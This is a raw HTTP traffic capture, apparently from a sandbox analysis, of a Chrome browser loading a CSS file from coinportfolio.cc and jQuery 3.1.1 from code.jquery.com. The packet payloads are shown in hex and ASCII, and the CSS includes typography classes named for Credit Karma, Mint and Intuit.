2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 61 73 74 2d 63 68 69 6c 64 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 33 70 78 7d 2e 70 61 6e 65 6c 3e 2e 70 61 6e 65 6c 2d 68 65 61 64 69 6e 67 2b 2e 70 61 6e 65 6c 2d 63 6f 6c 6c 61 70 73 65 3e 2e 6c 69 73 74 2d 67 72 6f 75 70 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 70 61 6e 65 6c 2d 68 65 61 Data Ascii: ast-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.panel-hea

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:51 UTC	558	OUT	GET /2feb3e56b/pre.css HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://coinportfolio.cc/2feb3e56b/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:51 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:51 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 15 Aug 2024 11:06:09 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 108342 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YJdYvIiBLroHj172inOt6gZ8hmQv2jMvAEuvQI6NdpH8Ve4cPq%2FEcNmWPqP6WvSg1HQhIYvjsv3ljuoExKV82K6RIybzMX3Uw87PUcdGFLuFo0QyQ1KgxyV1QKm%2FhbweBx6T"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e247db343f3-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:51 UTC	616	IN	Data Raw: 37 63 62 66 0d 0a 20 2a 2f 2e 54 79 70 6f 67 72 61 70 68 79 2d 64 61 72 6b 2d 64 65 32 64 36 38 65 7b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 2d 69 64 73 2d 30 33 66 35 30 31 3a 35 30 30 3b 2d 2d 69 64 73 2d 34 66 38 62 31 66 3a 37 30 30 3b 2d 2d 69 64 73 2d 35 33 66 34 61 34 3a 35 30 30 3b 2d 2d 69 64 73 2d 62 30 31 64 34 65 3a 37 30 30 3b 2d 2d 69 64 73 2d 66 63 62 39 64 66 3a 35 30 30 3b 2d 2d 69 64 73 2d 35 65 61 37 32 65 3a 37 30 30 3b 2d 2d 69 64 73 2d 64 31 62 37 66 35 3a 35 30 30 3b 2d 2d 69 64 73 2d 63 38 64 39 38 61 3a 37 30 30 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 64 69 73 70 Data Ascii: 7cbf */.Typography-dark-de2d68e{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;--ids-03f501:500;--ids-4f8b1f:700;--ids-53f4a4:500;--ids-b01d4e:700;--ids-fcb9df:500;--ids-5ea72e:700;--ids-d1b7f5:500;--ids-c8d98a:700}.Typography-disp
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 54 79 70 6f 67 72 61 70 68 79 2d 64 69 73 70 6c 61 79 2d 31 2d 34 62 32 37 30 30 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 35 37 65 62 37 32 29 7d 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 64 69 73 70 6c 61 79 2d 32 2d 62 36 39 39 64 39 63 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 69 64 73 2d 38 32 63 37 66 36 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 36 62 66 38 34 34 2c 37 32 70 78 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 69 64 73 2d 37 38 37 39 63 64 2c 37 30 30 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 69 64 73 2d 63 62 64 Data Ascii: }@media (max-width:992px){.Typography-display-1-4b2700a{font-size:var(--ids-57eb72)}}.Typography-display-2-b699d9c{font-family:var(--ids-82c7f6);font-size:var(--ids-6bf844,72px);font-style:normal;font-weight:var(--ids-7879cd,700);line-height:var(--ids-cbd
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 76 61 72 28 2d 2d 69 64 73 2d 61 61 31 61 32 61 29 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 54 79 70 6f 67 72 61 70 68 79 2d 64 69 73 70 6c 61 79 2d 34 2d 61 37 66 35 36 63 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 61 61 31 61 32 61 29 7d 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 68 65 61 64 6c 69 6e 65 2d 31 2d 65 30 63 62 63 39 64 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 69 64 73 2d 31 37 31 66 37 31 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 39 61 65 33 61 65 2c 34 38 70 78 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 69 64 73 2d 64 31 64 66 61 35 2c 36 30 30 29 3b 6c 69 6e 65 2d 68 65 Data Ascii: var(--ids-aa1a2a)}@media (max-width:992px){.Typography-display-4-a7f56c7{font-size:var(--ids-aa1a2a)}}.Typography-headline-1-e0cbc9d{font-family:var(--ids-171f71);font-size:var(--ids-9ae3ae,48px);font-style:normal;font-weight:var(--ids-d1dfa5,600);line-he
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 6d 70 2d 6d 65 64 69 75 6d 2d 38 38 33 33 65 30 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 38 32 66 66 62 65 29 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 54 79 70 6f 67 72 61 70 68 79 2d 68 65 61 64 6c 69 6e 65 2d 33 2d 62 61 34 61 31 66 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 38 32 66 66 62 65 29 7d 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 68 65 61 64 6c 69 6e 65 2d 34 2d 37 64 30 62 61 39 64 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 69 64 73 2d 31 37 31 66 37 31 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 66 39 37 64 65 33 2c 32 38 70 78 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: mp-medium-8833e0e{font-size:var(--ids-82ffbe)}@media (max-width:992px){.Typography-headline-3-ba4a1fe{font-size:var(--ids-82ffbe)}}.Typography-headline-4-7d0ba9d{font-family:var(--ids-171f71);font-size:var(--ids-f97de3,28px);font-style:normal;font-weight:
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 64 6c 69 6e 65 2d 36 2d 63 33 32 64 35 30 30 2e 54 79 70 6f 67 72 61 70 68 79 2d 72 61 6d 70 2d 6d 65 64 69 75 6d 2d 38 38 33 33 65 30 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 30 32 62 30 31 38 29 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 54 79 70 6f 67 72 61 70 68 79 2d 68 65 61 64 6c 69 6e 65 2d 36 2d 63 33 32 64 35 30 30 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 30 32 62 30 31 38 29 7d 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 31 2d 35 62 38 65 64 39 62 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 69 64 73 2d 37 32 31 33 31 64 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 69 64 73 2d 66 39 39 66 66 63 2c 32 30 70 78 29 3b 66 6f 6e 74 2d Data Ascii: dline-6-c32d500.Typography-ramp-medium-8833e0e{font-size:var(--ids-02b018)}@media (max-width:992px){.Typography-headline-6-c32d500{font-size:var(--ids-02b018)}}.Typography-body-1-5b8ed9b{font-family:var(--ids-72131d);font-size:var(--ids-f99ffc,20px);font-
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 34 2d 62 62 66 36 35 30 31 20 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 69 64 73 2d 63 38 64 39 38 61 2c 36 30 30 29 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 66 77 2d 33 30 30 2d 65 64 31 65 63 63 31 2c 2e 54 79 70 6f 67 72 61 70 68 79 2d 74 68 69 6e 2d 64 33 39 34 65 34 66 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 69 64 73 2d 30 64 64 30 65 65 2c 32 30 30 29 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 66 77 2d 34 30 30 2d 35 38 36 64 63 38 62 2c 2e 54 79 70 6f 67 72 61 70 68 79 2d 72 65 67 75 6c 61 72 2d 65 32 62 31 34 34 62 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 69 64 73 2d 61 62 Data Ascii: argin-top:0;padding:0}.Typography-body-4-bbf6501 strong{font-weight:var(--ids-c8d98a,600)}.Typography-fw-300-ed1ecc1,.Typography-thin-d394e4f{font-weight:var(--ids-0dd0ee,200)}.Typography-fw-400-586dc8b,.Typography-regular-e2b144b{font-weight:var(--ids-ab
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 30 3b 2d 2d 69 64 73 2d 35 65 61 37 32 65 3a 35 30 30 3b 2d 2d 69 64 73 2d 63 38 64 39 38 61 3a 35 30 30 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 63 72 65 64 69 74 6b 61 72 6d 61 2d 62 63 64 30 63 37 61 2e 54 79 70 6f 67 72 61 70 68 79 2d 64 61 72 6b 2d 64 65 32 64 36 38 65 7b 2d 2d 69 64 73 2d 38 32 63 37 66 36 3a 4e 61 74 69 6f 6e 61 6c 32 2c 41 76 65 6e 69 72 20 4e 65 78 74 20 66 6f 72 49 4e 54 55 49 54 2c 41 76 65 6e 69 72 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 2d 2d 69 64 73 2d 31 37 31 66 37 31 3a 4e 61 74 69 6f 6e 61 6c 32 2c 41 76 65 6e 69 72 20 4e 65 78 74 20 66 6f 72 49 4e 54 55 49 54 2c 41 76 65 6e 69 72 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 2d 2d 69 64 73 Data Ascii: 0;--ids-5ea72e:500;--ids-c8d98a:500}.Typography-creditkarma-bcd0c7a.Typography-dark-de2d68e{--ids-82c7f6:National2,Avenir Next forINTUIT,Avenir,Helvetica,Arial,sans-serif;--ids-171f71:National2,Avenir Next forINTUIT,Avenir,Helvetica,Arial,sans-serif;--ids
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 3b 2d 2d 69 64 73 2d 39 66 62 32 34 31 3a 34 30 30 3b 2d 2d 69 64 73 2d 33 30 32 36 62 31 3a 32 30 70 78 3b 2d 2d 69 64 73 2d 39 61 65 36 38 37 3a 34 30 30 7d 2e 54 79 70 6f 67 72 61 70 68 79 2d 6d 69 6e 74 2d 65 66 33 39 32 64 66 2e 54 79 70 6f 67 72 61 70 68 79 2d 64 61 72 6b 2d 64 65 32 64 36 38 65 2c 2e 54 79 70 6f 67 72 61 70 68 79 2d 6d 69 6e 74 2d 65 66 33 39 32 64 66 2e 54 79 70 6f 67 72 61 70 68 79 2d 6c 69 67 68 74 2d 66 33 61 65 34 62 31 7b 2d 2d 69 64 73 2d 64 31 64 66 61 35 3a 37 30 30 3b 2d 2d 69 64 73 2d 61 36 64 35 36 64 3a 37 30 30 3b 2d 2d 69 64 73 2d 61 31 34 66 61 33 3a 37 30 30 3b 2d 2d 69 64 73 2d 30 64 35 38 61 38 3a 32 30 70 78 3b 2d 2d 69 64 73 2d 65 35 36 36 63 36 3a 37 30 30 3b 2d 2d 69 64 73 2d 30 32 62 30 31 38 3a 31 36 70 78 Data Ascii: ;--ids-9fb241:400;--ids-3026b1:20px;--ids-9ae687:400}.Typography-mint-ef392df.Typography-dark-de2d68e,.Typography-mint-ef392df.Typography-light-f3ae4b1{--ids-d1dfa5:700;--ids-a6d56d:700;--ids-a14fa3:700;--ids-0d58a8:20px;--ids-e566c6:700;--ids-02b018:16px
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 6c 2c 73 61 6e 73 2d 73 65 72 69 66 29 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 42 75 74 74 6f 6e 2d 62 75 74 74 6f 6e 2d 36 36 62 31 30 64 33 20 73 76 67 7b 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 30 7d 2e 42 75 74 74 6f 6e 2d 62 75 74 74 6f 6e 2d 36 36 62 31 30 64 33 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 3a 30 7d 2e 42 75 74 74 6f 6e 2d 62 75 74 74 6f 6e 2d 36 36 62 31 30 64 33 20 2e 42 75 74 74 6f 6e 2d 6c 61 62 65 6c 2d 62 36 66 62 36 34 38 3a 65 6d 70 74 79 7b 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 3a 30 7d 2e 42 75 Data Ascii: l,sans-serif);justify-content:center;line-height:normal;margin:0;padding:0;position:relative}.Button-button-66b10d3 svg{flex-shrink:0}.Button-button-66b10d3::-moz-focus-inner{border:0}.Button-button-66b10d3 .Button-label-b6fb648:empty{padding-inline:0}.Bu
2024-08-09 17:11:51 UTC	1369	IN	Data Raw: 2d 69 64 73 2d 31 62 63 64 30 37 29 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 69 6e 73 65 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 6e 65 67 61 74 69 76 65 2d 6f 6e 65 29 2a 76 61 72 28 2d 2d 69 64 73 2d 36 63 33 65 65 38 29 29 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 78 2d 73 68 61 64 6f 77 20 2e 31 73 7d 2e 42 75 74 74 6f 6e 2d 62 75 74 74 6f 6e 2d 36 36 62 31 30 64 33 2e 42 75 74 74 6f 6e 2d 66 6f 63 75 73 2d 34 63 61 30 62 64 64 3a 66 6f 63 75 73 2e 42 75 74 74 6f 6e 2d 69 6e 76 65 72 74 65 64 43 6f 6c 6f 72 73 2d 64 64 62 33 35 64 36 3a 66 6f 63 75 73 3a 62 65 66 6f 72 65 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 76 61 72 28 2d 2d 69 64 73 2d 30 63 33 65 34 62 29 20 76 61 72 28 2d 2d 69 64 73 Data Ascii: -ids-1bcd07);content:"";inset:calc(var(--negative-one)*var(--ids-6c3ee8));position:absolute;transition:box-shadow .1s}.Button-button-66b10d3.Button-focus-4ca0bdd:focus.Button-invertedColors-ddb35d6:focus:before{box-shadow:0 0 0 var(--ids-0c3e4b) var(--ids

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:51 UTC	622	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://coinportfolio.cc/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:51 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2013343 Date: Fri, 09 Aug 2024 17:11:51 GMT X-Served-By: cache-lga21947-LGA, cache-nyc-kteb1890080-NYC X-Cache: HIT, HIT X-Cache-Hits: 2505, 0 X-Timer: S1723223512.898518,VS0,VE1 Vary: Accept-Encoding
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\\("+K+"((?:-\\d)?\\d)"+K+"\\)\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
